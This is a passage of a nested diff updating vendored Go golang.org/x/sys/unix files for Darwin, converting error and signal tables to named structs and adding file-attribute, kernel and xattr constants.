-+ {18, "EXDEV", "cross-device link"},
-+ {19, "ENODEV", "operation not supported by device"},
-+ {20, "ENOTDIR", "not a directory"},
-+ {21, "EISDIR", "is a directory"},
-+ {22, "EINVAL", "invalid argument"},
-+ {23, "ENFILE", "too many open files in system"},
-+ {24, "EMFILE", "too many open files"},
-+ {25, "ENOTTY", "inappropriate ioctl for device"},
-+ {26, "ETXTBSY", "text file busy"},
-+ {27, "EFBIG", "file too large"},
-+ {28, "ENOSPC", "no space left on device"},
-+ {29, "ESPIPE", "illegal seek"},
-+ {30, "EROFS", "read-only file system"},
-+ {31, "EMLINK", "too many links"},
-+ {32, "EPIPE", "broken pipe"},
-+ {33, "EDOM", "numerical argument out of domain"},
-+ {34, "ERANGE", "result too large"},
-+ {35, "EAGAIN", "resource temporarily unavailable"},
-+ {36, "EINPROGRESS", "operation now in progress"},
-+ {37, "EALREADY", "operation already in progress"},
-+ {38, "ENOTSOCK", "socket operation on non-socket"},
-+ {39, "EDESTADDRREQ", "destination address required"},
-+ {40, "EMSGSIZE", "message too long"},
-+ {41, "EPROTOTYPE", "protocol wrong type for socket"},
-+ {42, "ENOPROTOOPT", "protocol not available"},
-+ {43, "EPROTONOSUPPORT", "protocol not supported"},
-+ {44, "ESOCKTNOSUPPORT", "socket type not supported"},
-+ {45, "ENOTSUP", "operation not supported"},
-+ {46, "EPFNOSUPPORT", "protocol family not supported"},
-+ {47, "EAFNOSUPPORT", "address family not supported by protocol family"},
-+ {48, "EADDRINUSE", "address already in use"},
-+ {49, "EADDRNOTAVAIL", "can't assign requested address"},
-+ {50, "ENETDOWN", "network is down"},
-+ {51, "ENETUNREACH", "network is unreachable"},
-+ {52, "ENETRESET", "network dropped connection on reset"},
-+ {53, "ECONNABORTED", "software caused connection abort"},
-+ {54, "ECONNRESET", "connection reset by peer"},
-+ {55, "ENOBUFS", "no buffer space available"},
-+ {56, "EISCONN", "socket is already connected"},
-+ {57, "ENOTCONN", "socket is not connected"},
-+ {58, "ESHUTDOWN", "can't send after socket shutdown"},
-+ {59, "ETOOMANYREFS", "too many references: can't splice"},
-+ {60, "ETIMEDOUT", "operation timed out"},
-+ {61, "ECONNREFUSED", "connection refused"},
-+ {62, "ELOOP", "too many levels of symbolic links"},
-+ {63, "ENAMETOOLONG", "file name too long"},
-+ {64, "EHOSTDOWN", "host is down"},
-+ {65, "EHOSTUNREACH", "no route to host"},
-+ {66, "ENOTEMPTY", "directory not empty"},
-+ {67, "EPROCLIM", "too many processes"},
-+ {68, "EUSERS", "too many users"},
-+ {69, "EDQUOT", "disc quota exceeded"},
-+ {70, "ESTALE", "stale NFS file handle"},
-+ {71, "EREMOTE", "too many levels of remote in path"},
-+ {72, "EBADRPC", "RPC struct is bad"},
-+ {73, "ERPCMISMATCH", "RPC version wrong"},
-+ {74, "EPROGUNAVAIL", "RPC prog. not avail"},
-+ {75, "EPROGMISMATCH", "program version wrong"},
-+ {76, "EPROCUNAVAIL", "bad procedure for program"},
-+ {77, "ENOLCK", "no locks available"},
-+ {78, "ENOSYS", "function not implemented"},
-+ {79, "EFTYPE", "inappropriate file type or format"},
-+ {80, "EAUTH", "authentication error"},
-+ {81, "ENEEDAUTH", "need authenticator"},
-+ {82, "EPWROFF", "device power is off"},
-+ {83, "EDEVERR", "device error"},
-+ {84, "EOVERFLOW", "value too large to be stored in data type"},
-+ {85, "EBADEXEC", "bad executable (or shared library)"},
-+ {86, "EBADARCH", "bad CPU type in executable"},
-+ {87, "ESHLIBVERS", "shared library version mismatch"},
-+ {88, "EBADMACHO", "malformed Mach-o file"},
-+ {89, "ECANCELED", "operation canceled"},
-+ {90, "EIDRM", "identifier removed"},
-+ {91, "ENOMSG", "no message of desired type"},
-+ {92, "EILSEQ", "illegal byte sequence"},
-+ {93, "ENOATTR", "attribute not found"},
-+ {94, "EBADMSG", "bad message"},
-+ {95, "EMULTIHOP", "EMULTIHOP (Reserved)"},
-+ {96, "ENODATA", "no message available on STREAM"},
-+ {97, "ENOLINK", "ENOLINK (Reserved)"},
-+ {98, "ENOSR", "no STREAM resources"},
-+ {99, "ENOSTR", "not a STREAM"},
-+ {100, "EPROTO", "protocol error"},
-+ {101, "ETIME", "STREAM ioctl timeout"},
-+ {102, "EOPNOTSUPP", "operation not supported on socket"},
-+ {103, "ENOPOLICY", "policy not found"},
-+ {104, "ENOTRECOVERABLE", "state not recoverable"},
-+ {105, "EOWNERDEAD", "previous owner died"},
-+ {106, "EQFULL", "interface output queue is full"},
- }
-
- // Signal table
--var signals = [...]string{
-- 1: "hangup",
-- 2: "interrupt",
-- 3: "quit",
-- 4: "illegal instruction",
-- 5: "trace/BPT trap",
-- 6: "abort trap",
-- 7: "EMT trap",
-- 8: "floating point exception",
-- 9: "killed",
-- 10: "bus error",
-- 11: "segmentation fault",
-- 12: "bad system call",
-- 13: "broken pipe",
-- 14: "alarm clock",
-- 15: "terminated",
-- 16: "urgent I/O condition",
-- 17: "suspended (signal)",
-- 18: "suspended",
-- 19: "continued",
-- 20: "child exited",
-- 21: "stopped (tty input)",
-- 22: "stopped (tty output)",
-- 23: "I/O possible",
-- 24: "cputime limit exceeded",
-- 25: "filesize limit exceeded",
-- 26: "virtual timer expired",
-- 27: "profiling timer expired",
-- 28: "window size changes",
-- 29: "information request",
-- 30: "user defined signal 1",
-- 31: "user defined signal 2",
-+var signalList = [...]struct {
-+ num syscall.Signal
-+ name string
-+ desc string
-+}{
-+ {1, "SIGHUP", "hangup"},
-+ {2, "SIGINT", "interrupt"},
-+ {3, "SIGQUIT", "quit"},
-+ {4, "SIGILL", "illegal instruction"},
-+ {5, "SIGTRAP", "trace/BPT trap"},
-+ {6, "SIGABRT", "abort trap"},
-+ {7, "SIGEMT", "EMT trap"},
-+ {8, "SIGFPE", "floating point exception"},
-+ {9, "SIGKILL", "killed"},
-+ {10, "SIGBUS", "bus error"},
-+ {11, "SIGSEGV", "segmentation fault"},
-+ {12, "SIGSYS", "bad system call"},
-+ {13, "SIGPIPE", "broken pipe"},
-+ {14, "SIGALRM", "alarm clock"},
-+ {15, "SIGTERM", "terminated"},
-+ {16, "SIGURG", "urgent I/O condition"},
-+ {17, "SIGSTOP", "suspended (signal)"},
-+ {18, "SIGTSTP", "suspended"},
-+ {19, "SIGCONT", "continued"},
-+ {20, "SIGCHLD", "child exited"},
-+ {21, "SIGTTIN", "stopped (tty input)"},
-+ {22, "SIGTTOU", "stopped (tty output)"},
-+ {23, "SIGIO", "I/O possible"},
-+ {24, "SIGXCPU", "cputime limit exceeded"},
-+ {25, "SIGXFSZ", "filesize limit exceeded"},
-+ {26, "SIGVTALRM", "virtual timer expired"},
-+ {27, "SIGPROF", "profiling timer expired"},
-+ {28, "SIGWINCH", "window size changes"},
-+ {29, "SIGINFO", "information request"},
-+ {30, "SIGUSR1", "user defined signal 1"},
-+ {31, "SIGUSR2", "user defined signal 2"},
- }
-diff --git a/vendor/golang.org/x/sys/unix/zerrors_darwin_amd64.go b/vendor/golang.org/x/sys/unix/zerrors_darwin_amd64.go
-index 48f63d4f..e3ff2ee3 100644
---- a/vendor/golang.org/x/sys/unix/zerrors_darwin_amd64.go
-+++ b/vendor/golang.org/x/sys/unix/zerrors_darwin_amd64.go
-@@ -3,7 +3,7 @@
-
- // +build amd64,darwin
-
--// Created by cgo -godefs - DO NOT EDIT
-+// Code generated by cmd/cgo -godefs; DO NOT EDIT.
- // cgo -godefs -- -m64 _const.go
-
- package unix
-@@ -49,6 +49,86 @@ const (
- AF_UNSPEC = 0x0
- AF_UTUN = 0x26
- ALTWERASE = 0x200
-+ ATTR_BIT_MAP_COUNT = 0x5
-+ ATTR_CMN_ACCESSMASK = 0x20000
-+ ATTR_CMN_ACCTIME = 0x1000
-+ ATTR_CMN_ADDEDTIME = 0x10000000
-+ ATTR_CMN_BKUPTIME = 0x2000
-+ ATTR_CMN_CHGTIME = 0x800
-+ ATTR_CMN_CRTIME = 0x200
-+ ATTR_CMN_DATA_PROTECT_FLAGS = 0x40000000
-+ ATTR_CMN_DEVID = 0x2
-+ ATTR_CMN_DOCUMENT_ID = 0x100000
-+ ATTR_CMN_ERROR = 0x20000000
-+ ATTR_CMN_EXTENDED_SECURITY = 0x400000
-+ ATTR_CMN_FILEID = 0x2000000
-+ ATTR_CMN_FLAGS = 0x40000
-+ ATTR_CMN_FNDRINFO = 0x4000
-+ ATTR_CMN_FSID = 0x4
-+ ATTR_CMN_FULLPATH = 0x8000000
-+ ATTR_CMN_GEN_COUNT = 0x80000
-+ ATTR_CMN_GRPID = 0x10000
-+ ATTR_CMN_GRPUUID = 0x1000000
-+ ATTR_CMN_MODTIME = 0x400
-+ ATTR_CMN_NAME = 0x1
-+ ATTR_CMN_NAMEDATTRCOUNT = 0x80000
-+ ATTR_CMN_NAMEDATTRLIST = 0x100000
-+ ATTR_CMN_OBJID = 0x20
-+ ATTR_CMN_OBJPERMANENTID = 0x40
-+ ATTR_CMN_OBJTAG = 0x10
-+ ATTR_CMN_OBJTYPE = 0x8
-+ ATTR_CMN_OWNERID = 0x8000
-+ ATTR_CMN_PARENTID = 0x4000000
-+ ATTR_CMN_PAROBJID = 0x80
-+ ATTR_CMN_RETURNED_ATTRS = 0x80000000
-+ ATTR_CMN_SCRIPT = 0x100
-+ ATTR_CMN_SETMASK = 0x41c7ff00
-+ ATTR_CMN_USERACCESS = 0x200000
-+ ATTR_CMN_UUID = 0x800000
-+ ATTR_CMN_VALIDMASK = 0xffffffff
-+ ATTR_CMN_VOLSETMASK = 0x6700
-+ ATTR_FILE_ALLOCSIZE = 0x4
-+ ATTR_FILE_CLUMPSIZE = 0x10
-+ ATTR_FILE_DATAALLOCSIZE = 0x400
-+ ATTR_FILE_DATAEXTENTS = 0x800
-+ ATTR_FILE_DATALENGTH = 0x200
-+ ATTR_FILE_DEVTYPE = 0x20
-+ ATTR_FILE_FILETYPE = 0x40
-+ ATTR_FILE_FORKCOUNT = 0x80
-+ ATTR_FILE_FORKLIST = 0x100
-+ ATTR_FILE_IOBLOCKSIZE = 0x8
-+ ATTR_FILE_LINKCOUNT = 0x1
-+ ATTR_FILE_RSRCALLOCSIZE = 0x2000
-+ ATTR_FILE_RSRCEXTENTS = 0x4000
-+ ATTR_FILE_RSRCLENGTH = 0x1000
-+ ATTR_FILE_SETMASK = 0x20
-+ ATTR_FILE_TOTALSIZE = 0x2
-+ ATTR_FILE_VALIDMASK = 0x37ff
-+ ATTR_VOL_ALLOCATIONCLUMP = 0x40
-+ ATTR_VOL_ATTRIBUTES = 0x40000000
-+ ATTR_VOL_CAPABILITIES = 0x20000
-+ ATTR_VOL_DIRCOUNT = 0x400
-+ ATTR_VOL_ENCODINGSUSED = 0x10000
-+ ATTR_VOL_FILECOUNT = 0x200
-+ ATTR_VOL_FSTYPE = 0x1
-+ ATTR_VOL_INFO = 0x80000000
-+ ATTR_VOL_IOBLOCKSIZE = 0x80
-+ ATTR_VOL_MAXOBJCOUNT = 0x800
-+ ATTR_VOL_MINALLOCATION = 0x20
-+ ATTR_VOL_MOUNTEDDEVICE = 0x8000
-+ ATTR_VOL_MOUNTFLAGS = 0x4000
-+ ATTR_VOL_MOUNTPOINT = 0x1000
-+ ATTR_VOL_NAME = 0x2000
-+ ATTR_VOL_OBJCOUNT = 0x100
-+ ATTR_VOL_QUOTA_SIZE = 0x10000000
-+ ATTR_VOL_RESERVED_SIZE = 0x20000000
-+ ATTR_VOL_SETMASK = 0x80002000
-+ ATTR_VOL_SIGNATURE = 0x2
-+ ATTR_VOL_SIZE = 0x4
-+ ATTR_VOL_SPACEAVAIL = 0x10
-+ ATTR_VOL_SPACEFREE = 0x8
-+ ATTR_VOL_UUID = 0x40000
-+ ATTR_VOL_VALIDMASK = 0xf007ffff
- B0 = 0x0
- B110 = 0x6e
- B115200 = 0x1c200
-@@ -169,6 +249,8 @@ const (
- CSTOP = 0x13
- CSTOPB = 0x400
- CSUSP = 0x1a
-+ CTL_HW = 0x6
-+ CTL_KERN = 0x1
- CTL_MAXNAME = 0xc
- CTL_NET = 0x4
- DLT_A429 = 0xb8
-@@ -390,6 +472,11 @@ const (
- FF1 = 0x4000
- FFDLY = 0x4000
- FLUSHO = 0x800000
-+ FSOPT_ATTR_CMN_EXTENDED = 0x20
-+ FSOPT_NOFOLLOW = 0x1
-+ FSOPT_NOINMEMUPDATE = 0x2
-+ FSOPT_PACK_INVAL_ATTRS = 0x8
-+ FSOPT_REPORT_FULLSIZE = 0x4
- F_ADDFILESIGS = 0x3d
- F_ADDFILESIGS_FOR_DYLD_SIM = 0x53
- F_ADDFILESIGS_RETURN = 0x61
-@@ -425,6 +512,7 @@ const (
- F_PATHPKG_CHECK = 0x34
- F_PEOFPOSMODE = 0x3
- F_PREALLOCATE = 0x2a
-+ F_PUNCHHOLE = 0x63
- F_RDADVISE = 0x2c
- F_RDAHEAD = 0x2d
- F_RDLCK = 0x1
-@@ -441,10 +529,12 @@ const (
- F_SINGLE_WRITER = 0x4c
- F_THAW_FS = 0x36
- F_TRANSCODEKEY = 0x4b
-+ F_TRIM_ACTIVE_FILE = 0x64
- F_UNLCK = 0x2
- F_VOLPOSMODE = 0x4
- F_WRLCK = 0x3
- HUPCL = 0x4000
-+ HW_MACHINE = 0x1
- ICANON = 0x100
- ICMP6_FILTER = 0x12
- ICRNL = 0x100
-@@ -681,6 +771,7 @@ const (
- IPV6_FAITH = 0x1d
- IPV6_FLOWINFO_MASK = 0xffffff0f
- IPV6_FLOWLABEL_MASK = 0xffff0f00
-+ IPV6_FLOW_ECN_MASK = 0x300
- IPV6_FRAGTTL = 0x3c
- IPV6_FW_ADD = 0x1e
- IPV6_FW_DEL = 0x1f
-@@ -771,6 +862,7 @@ const (
- IP_RECVOPTS = 0x5
- IP_RECVPKTINFO = 0x1a
- IP_RECVRETOPTS = 0x6
-+ IP_RECVTOS = 0x1b
- IP_RECVTTL = 0x18
- IP_RETOPTS = 0x8
- IP_RF = 0x8000
-@@ -789,6 +881,10 @@ const (
- IXANY = 0x800
- IXOFF = 0x400
- IXON = 0x200
-+ KERN_HOSTNAME = 0xa
-+ KERN_OSRELEASE = 0x2
-+ KERN_OSTYPE = 0x1
-+ KERN_VERSION = 0x4
- LOCK_EX = 0x2
- LOCK_NB = 0x4
- LOCK_SH = 0x1
-@@ -884,6 +980,7 @@ const (
- NET_RT_MAXID = 0xa
- NET_RT_STAT = 0x4
- NET_RT_TRASH = 0x5
-+ NFDBITS = 0x20
- NL0 = 0x0
- NL1 = 0x100
- NL2 = 0x200
-@@ -1377,6 +1474,12 @@ const (
- WORDSIZE = 0x40
- WSTOPPED = 0x8
- WUNTRACED = 0x2
-+ XATTR_CREATE = 0x2
-+ XATTR_NODEFAULT = 0x10
-+ XATTR_NOFOLLOW = 0x1
-+ XATTR_NOSECURITY = 0x8
-+ XATTR_REPLACE = 0x4
-+ XATTR_SHOWCOMPRESSION = 0x20
- )
-
- // Errors
-@@ -1528,146 +1631,154 @@ const (
- )
-
- // Error table
--var errors = [...]string{
-- 1: "operation not permitted",
-- 2: "no such file or directory",
-- 3: "no such process",
-- 4: "interrupted system call",
-- 5: "input/output error",
-- 6: "device not configured",
-- 7: "argument list too long",
-- 8: "exec format error",
-- 9: "bad file descriptor",
-- 10: "no child processes",
-- 11: "resource deadlock avoided",
-- 12: "cannot allocate memory",
-- 13: "permission denied",
-- 14: "bad address",
-- 15: "block device required",
-- 16: "resource busy",
-- 17: "file exists",
-- 18: "cross-device link",
-- 19: "operation not supported by device",
-- 20: "not a directory",
-- 21: "is a directory",
-- 22: "invalid argument",
-- 23: "too many open files in system",
-- 24: "too many open files",
-- 25: "inappropriate ioctl for device",
-- 26: "text file busy",
-- 27: "file too large",
-- 28: "no space left on device",
-- 29: "illegal seek",
-- 30: "read-only file system",
-- 31: "too many links",
-- 32: "broken pipe",
-- 33: "numerical argument out of domain",
-- 34: "result too large",
-- 35: "resource temporarily unavailable",
-- 36: "operation now in progress",
-- 37: "operation already in progress",
-- 38: "socket operation on non-socket",
-- 39: "destination address required",
-- 40: "message too long",
-- 41: "protocol wrong type for socket",
-- 42: "protocol not available",
-- 43: "protocol not supported",
-- 44: "socket type not supported",
-- 45: "operation not supported",
-- 46: "protocol family not supported",
-- 47: "address family not supported by protocol family",
-- 48: "address already in use",
-- 49: "can't assign requested address",
-- 50: "network is down",
-- 51: "network is unreachable",
-- 52: "network dropped connection on reset",
-- 53: "software caused connection abort",
-- 54: "connection reset by peer",
-- 55: "no buffer space available",
-- 56: "socket is already connected",
-- 57: "socket is not connected",
-- 58: "can't send after socket shutdown",
-- 59: "too many references: can't splice",
-- 60: "operation timed out",
-- 61: "connection refused",
-- 62: "too many levels of symbolic links",
-- 63: "file name too long",
-- 64: "host is down",
-- 65: "no route to host",
-- 66: "directory not empty",
-- 67: "too many processes",
-- 68: "too many users",
-- 69: "disc quota exceeded",
-- 70: "stale NFS file handle",
-- 71: "too many levels of remote in path",
-- 72: "RPC struct is bad",
-- 73: "RPC version wrong",
-- 74: "RPC prog. not avail",
-- 75: "program version wrong",
-- 76: "bad procedure for program",
-- 77: "no locks available",
-- 78: "function not implemented",
-- 79: "inappropriate file type or format",
-- 80: "authentication error",
-- 81: "need authenticator",
-- 82: "device power is off",
-- 83: "device error",
-- 84: "value too large to be stored in data type",
-- 85: "bad executable (or shared library)",
-- 86: "bad CPU type in executable",
-- 87: "shared library version mismatch",
-- 88: "malformed Mach-o file",
-- 89: "operation canceled",
-- 90: "identifier removed",
-- 91: "no message of desired type",
-- 92: "illegal byte sequence",
-- 93: "attribute not found",
-- 94: "bad message",
-- 95: "EMULTIHOP (Reserved)",
-- 96: "no message available on STREAM",
-- 97: "ENOLINK (Reserved)",
-- 98: "no STREAM resources",
-- 99: "not a STREAM",
-- 100: "protocol error",
-- 101: "STREAM ioctl timeout",
-- 102: "operation not supported on socket",
-- 103: "policy not found",
-- 104: "state not recoverable",
-- 105: "previous owner died",
-- 106: "interface output queue is full",
-+var errorList = [...]struct {
-+ num syscall.Errno
-+ name string
-+ desc string
-+}{
-+ {1, "EPERM", "operation not permitted"},
-+ {2, "ENOENT", "no such file or directory"},
-+ {3, "ESRCH", "no such process"},
-+ {4, "EINTR", "interrupted system call"},
-+ {5, "EIO", "input/output error"},
-+ {6, "ENXIO", "device not configured"},
-+ {7, "E2BIG", "argument list too long"},
-+ {8, "ENOEXEC", "exec format error"},
-+ {9, "EBADF", "bad file descriptor"},
-+ {10, "ECHILD", "no child processes"},
-+ {11, "EDEADLK", "resource deadlock avoided"},
-+ {12, "ENOMEM", "cannot allocate memory"},
-+ {13, "EACCES", "permission denied"},
-+ {14, "EFAULT", "bad address"},
-+ {15, "ENOTBLK", "block device required"},
-+ {16, "EBUSY", "resource busy"},
-+ {17, "EEXIST", "file exists"},
-+ {18, "EXDEV", "cross-device link"},
-+ {19, "ENODEV", "operation not supported by device"},
-+ {20, "ENOTDIR", "not a directory"},
-+ {21, "EISDIR", "is a directory"},
-+ {22, "EINVAL", "invalid argument"},
-+ {23, "ENFILE", "too many open files in system"},
-+ {24, "EMFILE", "too many open files"},
-+ {25, "ENOTTY", "inappropriate ioctl for device"},
-+ {26, "ETXTBSY", "text file busy"},
-+ {27, "EFBIG", "file too large"},
-+ {28, "ENOSPC", "no space left on device"},
-+ {29, "ESPIPE", "illegal seek"},
-+ {30, "EROFS", "read-only file system"},
-+ {31, "EMLINK", "too many links"},
-+ {32, "EPIPE", "broken pipe"},
-+ {33, "EDOM", "numerical argument out of domain"},
-+ {34, "ERANGE", "result too large"},
-+ {35, "EAGAIN", "resource temporarily unavailable"},
-+ {36, "EINPROGRESS", "operation now in progress"},
-+ {37, "EALREADY", "operation already in progress"},
-+ {38, "ENOTSOCK", "socket operation on non-socket"},
-+ {39, "EDESTADDRREQ", "destination address required"},
-+ {40, "EMSGSIZE", "message too long"},
-+ {41, "EPROTOTYPE", "protocol wrong type for socket"},
-+ {42, "ENOPROTOOPT", "protocol not available"},
-+ {43, "EPROTONOSUPPORT", "protocol not supported"},
-+ {44, "ESOCKTNOSUPPORT", "socket type not supported"},
-+ {45, "ENOTSUP", "operation not supported"},
-+ {46, "EPFNOSUPPORT", "protocol family not supported"},
-+ {47, "EAFNOSUPPORT", "address family not supported by protocol family"},
-+ {48, "EADDRINUSE", "address already in use"},
-+ {49, "EADDRNOTAVAIL", "can't assign requested address"},
-+ {50, "ENETDOWN", "network is down"},
-+ {51, "ENETUNREACH", "network is unreachable"},
-+ {52, "ENETRESET", "network dropped connection on reset"},
-+ {53, "ECONNABORTED", "software caused connection abort"},
-+ {54, "ECONNRESET", "connection reset by peer"},
-+ {55, "ENOBUFS", "no buffer space available"},
-+ {56, "EISCONN", "socket is already connected"},
-+ {57, "ENOTCONN", "socket is not connected"},
-+ {58, "ESHUTDOWN", "can't send after socket shutdown"},
-+ {59, "ETOOMANYREFS", "too many references: can't splice"},
-+ {60, "ETIMEDOUT", "operation timed out"},
-+ {61, "ECONNREFUSED", "connection refused"},
-+ {62, "ELOOP", "too many levels of symbolic links"},
-+ {63, "ENAMETOOLONG", "file name too long"},
-+ {64, "EHOSTDOWN", "host is down"},
-+ {65, "EHOSTUNREACH", "no route to host"},
-+ {66, "ENOTEMPTY", "directory not empty"},
-+ {67, "EPROCLIM", "too many processes"},
-+ {68, "EUSERS", "too many users"},
-+ {69, "EDQUOT", "disc quota exceeded"},
-+ {70, "ESTALE", "stale NFS file handle"},
-+ {71, "EREMOTE", "too many levels of remote in path"},
-+ {72, "EBADRPC", "RPC struct is bad"},
-+ {73, "ERPCMISMATCH", "RPC version wrong"},
-+ {74, "EPROGUNAVAIL", "RPC prog. not avail"},
-+ {75, "EPROGMISMATCH", "program version wrong"},
-+ {76, "EPROCUNAVAIL", "bad procedure for program"},
-+ {77, "ENOLCK", "no locks available"},
-+ {78, "ENOSYS", "function not implemented"},
-+ {79, "EFTYPE", "inappropriate file type or format"},
-+ {80, "EAUTH", "authentication error"},
-+ {81, "ENEEDAUTH", "need authenticator"},
-+ {82, "EPWROFF", "device power is off"},
-+ {83, "EDEVERR", "device error"},
-+ {84, "EOVERFLOW", "value too large to be stored in data type"},
-+ {85, "EBADEXEC", "bad executable (or shared library)"},
-+ {86, "EBADARCH", "bad CPU type in executable"},
-+ {87, "ESHLIBVERS", "shared library version mismatch"},
-+ {88, "EBADMACHO", "malformed Mach-o file"},
-+ {89, "ECANCELED", "operation canceled"},
-+ {90, "EIDRM", "identifier removed"},
-+ {91, "ENOMSG", "no message of desired type"},
-+ {92, "EILSEQ", "illegal byte sequence"},
-+ {93, "ENOATTR", "attribute not found"},
-+ {94, "EBADMSG", "bad message"},
-+ {95, "EMULTIHOP", "EMULTIHOP (Reserved)"},
-+ {96, "ENODATA", "no message available on STREAM"},
-+ {97, "ENOLINK", "ENOLINK (Reserved)"},
-+ {98, "ENOSR", "no STREAM resources"},
-+ {99, "ENOSTR", "not a STREAM"},
-+ {100, "EPROTO", "protocol error"},
-+ {101, "ETIME", "STREAM ioctl timeout"},
-+ {102, "EOPNOTSUPP", "operation not supported on socket"},
-+ {103, "ENOPOLICY", "policy not found"},
-+ {104, "ENOTRECOVERABLE", "state not recoverable"},
-+ {105, "EOWNERDEAD", "previous owner died"},
-+ {106, "EQFULL", "interface output queue is full"},
- }
-
- // Signal table
--var signals = [...]string{
-- 1: "hangup",
-- 2: "interrupt",
-- 3: "quit",
-- 4: "illegal instruction",
-- 5: "trace/BPT trap",
-- 6: "abort trap",
-- 7: "EMT trap",
-- 8: "floating point exception",
-- 9: "killed",
-- 10: "bus error",
-- 11: "segmentation fault",
-- 12: "bad system call",
-- 13: "broken pipe",
-- 14: "alarm clock",
-- 15: "terminated",
-- 16: "urgent I/O condition",
-- 17: "suspended (signal)",
-- 18: "suspended",
-- 19: "continued",
-- 20: "child exited",
-- 21: "stopped (tty input)",
-- 22: "stopped (tty output)",
-- 23: "I/O possible",
-- 24: "cputime limit exceeded",
-- 25: "filesize limit exceeded",
-- 26: "virtual timer expired",
-- 27: "profiling timer expired",
-- 28: "window size changes",
-- 29: "information request",
-- 30: "user defined signal 1",
-- 31: "user defined signal 2",
-+var signalList = [...]struct {
-+ num syscall.Signal
-+ name string
-+ desc string
-+}{
-+ {1, "SIGHUP", "hangup"},
-+ {2, "SIGINT", "interrupt"},
-+ {3, "SIGQUIT", "quit"},
-+ {4, "SIGILL", "illegal instruction"},
-+ {5, "SIGTRAP", "trace/BPT trap"},
-+ {6, "SIGABRT", "abort trap"},
-+ {7, "SIGEMT", "EMT trap"},
-+ {8, "SIGFPE", "floating point exception"},
-+ {9, "SIGKILL", "killed"},
-+ {10, "SIGBUS", "bus error"},
-+ {11, "SIGSEGV", "segmentation fault"},
-+ {12, "SIGSYS", "bad system call"},
-+ {13, "SIGPIPE", "broken pipe"},
-+ {14, "SIGALRM", "alarm clock"},
-+ {15, "SIGTERM", "terminated"},
-+ {16, "SIGURG", "urgent I/O condition"},
-+ {17, "SIGSTOP", "suspended (signal)"},
-+ {18, "SIGTSTP", "suspended"},
-+ {19, "SIGCONT", "continued"},
-+ {20, "SIGCHLD", "child exited"},
-+ {21, "SIGTTIN", "stopped (tty input)"},
-+ {22, "SIGTTOU", "stopped (tty output)"},
-+ {23, "SIGIO", "I/O possible"},
-+ {24, "SIGXCPU", "cputime limit exceeded"},
-+ {25, "SIGXFSZ", "filesize limit exceeded"},
-+ {26, "SIGVTALRM", "virtual timer expired"},
-+ {27, "SIGPROF", "profiling timer expired"},
-+ {28, "SIGWINCH", "window size changes"},
-+ {29, "SIGINFO", "information request"},
-+ {30, "SIGUSR1", "user defined signal 1"},
-+ {31, "SIGUSR2", "user defined signal 2"},
- }
-diff --git a/vendor/golang.org/x/sys/unix/zerrors_darwin_arm.go b/vendor/golang.org/x/sys/unix/zerrors_darwin_arm.go
-index 24cb522d..3e417571 100644
---- a/vendor/golang.org/x/sys/unix/zerrors_darwin_arm.go
-+++ b/vendor/golang.org/x/sys/unix/zerrors_darwin_arm.go
-@@ -3,7 +3,7 @@
-
- // +build arm,darwin
-
--// Created by cgo -godefs - DO NOT EDIT
-+// Code generated by cmd/cgo -godefs; DO NOT EDIT.
- // cgo -godefs -- _const.go
-
- package unix
-@@ -49,6 +49,86 @@ const (
- AF_UNSPEC = 0x0
- AF_UTUN = 0x26
- ALTWERASE = 0x200
-+ ATTR_BIT_MAP_COUNT = 0x5
-+ ATTR_CMN_ACCESSMASK = 0x20000
-+ ATTR_CMN_ACCTIME = 0x1000
-+ ATTR_CMN_ADDEDTIME = 0x10000000
-+ ATTR_CMN_BKUPTIME = 0x2000
-+ ATTR_CMN_CHGTIME = 0x800
-+ ATTR_CMN_CRTIME = 0x200
-+ ATTR_CMN_DATA_PROTECT_FLAGS = 0x40000000
-+ ATTR_CMN_DEVID = 0x2
-+ ATTR_CMN_DOCUMENT_ID = 0x100000
-+ ATTR_CMN_ERROR = 0x20000000
-+ ATTR_CMN_EXTENDED_SECURITY = 0x400000
-+ ATTR_CMN_FILEID = 0x2000000
-+ ATTR_CMN_FLAGS = 0x40000
-+ ATTR_CMN_FNDRINFO = 0x4000
-+ ATTR_CMN_FSID = 0x4
-+ ATTR_CMN_FULLPATH = 0x8000000
-+ ATTR_CMN_GEN_COUNT = 0x80000
-+ ATTR_CMN_GRPID = 0x10000
-+ ATTR_CMN_GRPUUID = 0x1000000
-+ ATTR_CMN_MODTIME = 0x400
-+ ATTR_CMN_NAME = 0x1
-+ ATTR_CMN_NAMEDATTRCOUNT = 0x80000
-+ ATTR_CMN_NAMEDATTRLIST = 0x100000
-+ ATTR_CMN_OBJID = 0x20
-+ ATTR_CMN_OBJPERMANENTID = 0x40
-+ ATTR_CMN_OBJTAG = 0x10
-+ ATTR_CMN_OBJTYPE = 0x8
-+ ATTR_CMN_OWNERID = 0x8000
-+ ATTR_CMN_PARENTID = 0x4000000
-+ ATTR_CMN_PAROBJID = 0x80
-+ ATTR_CMN_RETURNED_ATTRS = 0x80000000
-+ ATTR_CMN_SCRIPT = 0x100
-+ ATTR_CMN_SETMASK = 0x41c7ff00
-+ ATTR_CMN_USERACCESS = 0x200000
-+ ATTR_CMN_UUID = 0x800000
-+ ATTR_CMN_VALIDMASK = 0xffffffff
-+ ATTR_CMN_VOLSETMASK = 0x6700
-+ ATTR_FILE_ALLOCSIZE = 0x4
-+ ATTR_FILE_CLUMPSIZE = 0x10
-+ ATTR_FILE_DATAALLOCSIZE = 0x400
-+ ATTR_FILE_DATAEXTENTS = 0x800
-+ ATTR_FILE_DATALENGTH = 0x200
-+ ATTR_FILE_DEVTYPE = 0x20
-+ ATTR_FILE_FILETYPE = 0x40
-+ ATTR_FILE_FORKCOUNT = 0x80
-+ ATTR_FILE_FORKLIST = 0x100
-+ ATTR_FILE_IOBLOCKSIZE = 0x8
-+ ATTR_FILE_LINKCOUNT = 0x1
-+ ATTR_FILE_RSRCALLOCSIZE = 0x2000
-+ ATTR_FILE_RSRCEXTENTS = 0x4000
-+ ATTR_FILE_RSRCLENGTH = 0x1000
-+ ATTR_FILE_SETMASK = 0x20
-+ ATTR_FILE_TOTALSIZE = 0x2
-+ ATTR_FILE_VALIDMASK = 0x37ff
-+ ATTR_VOL_ALLOCATIONCLUMP = 0x40
-+ ATTR_VOL_ATTRIBUTES = 0x40000000
-+ ATTR_VOL_CAPABILITIES = 0x20000
-+ ATTR_VOL_DIRCOUNT = 0x400
-+ ATTR_VOL_ENCODINGSUSED = 0x10000
-+ ATTR_VOL_FILECOUNT = 0x200
-+ ATTR_VOL_FSTYPE = 0x1
-+ ATTR_VOL_INFO = 0x80000000
-+ ATTR_VOL_IOBLOCKSIZE = 0x80
-+ ATTR_VOL_MAXOBJCOUNT = 0x800
